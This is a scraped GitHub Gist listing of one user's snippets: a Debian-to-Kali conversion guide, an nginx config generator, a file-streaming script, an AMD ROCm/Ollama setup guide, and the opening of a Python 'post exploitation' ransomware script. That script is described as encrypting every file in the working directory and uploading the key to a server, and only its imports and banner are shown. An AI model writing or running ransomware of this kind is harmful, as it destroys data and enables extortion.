Skip to content

Instantly share code, notes, and snippets.

πŸ”„ Convert Debian to Kali Linux

To convert a Debian system to Kali Linux, follow the steps below:

Step 1: πŸ› οΈ Update and Upgrade the System

sudo apt-get update -y && sudo apt-get full-upgrade -y && sudo apt-get dist-upgrade -y
sudo apt autoremove -y && sudo apt autoclean

This step ensures your system is fully updated and any unnecessary packages are removed.

@furaar
furaar / config.json
Created August 15, 2024 13:17
Generate nginx reverse proxy default file.
{
"projects": {
"example-project-name-1": {
"port": 5001,
"backend": null,
"subdomain": "www"
},
"example-project-name-2": {
"port": 5002,
"backend": {
@furaar
furaar / stream.js
Created August 15, 2024 12:19
Quickly stream a file a over the network.
/*
Stream.js
Descriptiopn: Quickly stream a file over the network
Dependency: npm i -g http
Run Syntax: stream.js <filename>
Author: @furaar
*/
const http = require('http');
const fs = require('fs');
const path = require('path');
@furaar
furaar / README.md
Created August 2, 2024 15:12
Step-by-step guide to install AMD ROCm on Ubuntu with RX6600 GPU. Includes setting up Ollama and running Llama 3.1 model. Perfect for machine learning and GPU-heavy tasks!

AMD ROCm Installation Guide on RX6600 + Ollama

System Information

            .-/+oossssoo+/-.               x@furaar 
        `:+ssssssssssssssssss+:`           -------- 
      -+ssssssssssssssssssyyssss+-         OS: Ubuntu 22.04.4 LTS x86_64 
    .ossssssssssssssssssdMMMNysssso.       Host: redacted 
   /ssssssssssshdmmNNmmyNMMMMhssssss/      Kernel: 6.5.0-45-generic 
  +ssssssssshmydMMMMMMMNddddyssssssss+     Uptime: 2 hours, 40 mins 
@furaar
furaar / encryption.py
Last active July 3, 2022 13:45
Post Exploitation Script - Encrypts every file inside the working directory and uploads the encryption key to an express server straight from memory.
import os # accessing files
import requests # uploading secrets
from cryptography.fernet import Fernet # encrypting files
# setup an empty array for handling files
files = []
print('''
β–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆ β–„β–„β–„ β–ˆβ–ˆβ–ˆβ–„ β–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–„ β–„β–ˆβ–ˆβ–ˆβ–“
β–“β–ˆβ–ˆ β–’ β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–„ β–ˆβ–ˆ β–€β–ˆ β–ˆ β–’β–ˆβ–ˆ β–’ β–’β–ˆβ–ˆβ–’ β–ˆβ–ˆβ–’β–“β–ˆβ–ˆβ–’β–€β–ˆβ–€ β–ˆβ–ˆβ–’